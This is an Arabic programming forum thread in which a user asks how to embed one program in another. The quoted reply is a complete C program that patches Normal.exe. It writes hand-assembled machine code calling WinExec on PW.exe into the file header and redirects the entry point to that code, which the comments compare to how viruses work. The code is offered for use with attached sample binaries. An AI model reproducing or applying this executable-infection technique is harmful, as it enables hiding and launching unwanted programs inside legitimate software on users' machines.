جزاك الله كل خير
اضافة برنامج في برنامج آخر ؟؟
الظاهر ان هيبقى دمى ثقيل جدا اسئلتى كترت اليومين دول :lol:
ممكن كود البرنامج الموجود فى اول صفحة الموضوع بالاسمبلى بدلا من السى لانى لااعرف لغة السى :o
وهذا هو الكود
اقتباسمرحبا ,,,سنبدأ في موضوعك خطوة ,, خطوة
أولا : ربط البرامج ؟!
هذا الكود عبارة عن برنامج يقوم بكتابة برنامج صغير في مقدمة الملف Normal.exe
وبمجرد تشغيل البرنامج Normal فإنة يقوم بتشغيل PW.exe
ستجد في الملف المرفق 3 برامج والكود ضع الثلاث برامج في مجلد واحد وشغل
البرنامج الذي سيقوم بالدمج وهو pCexe وبعد ذلك قم بتشغيل Normal.exe ولاحظ !
الطريقة :
CODE
int main(int argc, char* argv[])
{
HANDLE hexe=(HANDLE)-1;
HMODULE hKerDll=NULL;
DWORD* addr=NULL;
DWORD** adddt=&addr;
BYTE dataw[MAX_PATH];
BYTE* ppch=dataw;
DWORD cbb=0;
ZeroMemory(dataw,100);
hKerDll=LoadLibrary (_T("Kernel32.dll"));
if(!hKerDll)
return 0;
hexe=CreateFile ("Normal.exe",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES )NULL,OPEN_EXISTING,0,NULL);
if(hexe==(HANDLE)-1)
{
MessageBox (NULL,"غير موجود Normal.exe الملف","Error",MB_OK);
return 0;
}
/*
يبدأ البرنامج بالبحث عن عناوين لدوال تشغيل البرنامج
WinExec : مثل الدالة
Normal ليتم حقنها في الملف
*/
addr=(DWORD*)GetProcAddress (hKerDll,_T("WinExec"));
if(!addr)
return 0;
/*
Normal الآن سنبدأ في كتابة برنامج صغير في مقدمة الملف
يقوم البرنامج بإستدعاء برنامج آخر ليقوم بتنفيذة , مثل عمل الفايروسات
البرنامج الذي سنكتبة بلغة الإسمبلي هو
000002A2 6A 01 PUSH 1;;SW_SHOWNORMAL
000002A4 68 72024000 PUSH 400272;; "PW"
000002A9 B8 C684E677 MOV EAX,77E684C6
000002AE FFD0 CALL EAX;;WinExec
000002B0 E9 730E0000 JMP 00001128; عودة إلى البرنامج
هذا البرنامج عبارة عن إستخدام الأمر التالي
WinExec (SW_SHOWNORMAL,"PW.exe");
*/
////// إضافة معلومات الملف
SetFilePointer (hexe,0x272,NULL,FILE_BEGIN);
WriteFile (hexe,_T("PW.exe"),6,&cbb,NULL);
///////// كتابة الكود في مقدمة الملف
SetFilePointer (hexe,0x2A2,NULL,FILE_BEGIN);
dataw[0]=0x6A;
dataw[1]=0x01;
dataw[2]=0x68;
dataw[3]=0x72;
dataw[4]=0x02;
dataw[5]=0x40;
dataw[6]=0x00;
dataw[7]=0xB8;
ppch=ppch+8;
memcpy(ppch,(void*)(DWORD**)adddt,4); //copy address
dataw[12]=0xFF;
dataw[13]=0xD0;
dataw[14]=0xE9;
dataw[15]=0x73;
dataw[16]=0x0E;
dataw[17]=0x00;
dataw[18]=0x00;
WriteFile (hexe,(LPCVOID)dataw,19,&cbb,NULL);
///// تغيير عنوان بداية البرنامج
ZeroMemory((PVOID)dataw,20);
SetFilePointer (hexe,0xE0,NULL,FILE_BEGIN);
dataw[0]=0xA2;
dataw[1]=0x02;
WriteFile (hexe,(LPCVOID)dataw,2,&cbb,NULL);
////
CloseHandle (hexe);
FreeLibrary (hKerDll);
printf("xxxxxx End xxxxxxx\n");
MessageBox (NULL,"تمت العملية بنجاح !",NULL,MB_OK);
return 0;
}
up
هذا الموضوع مغلق.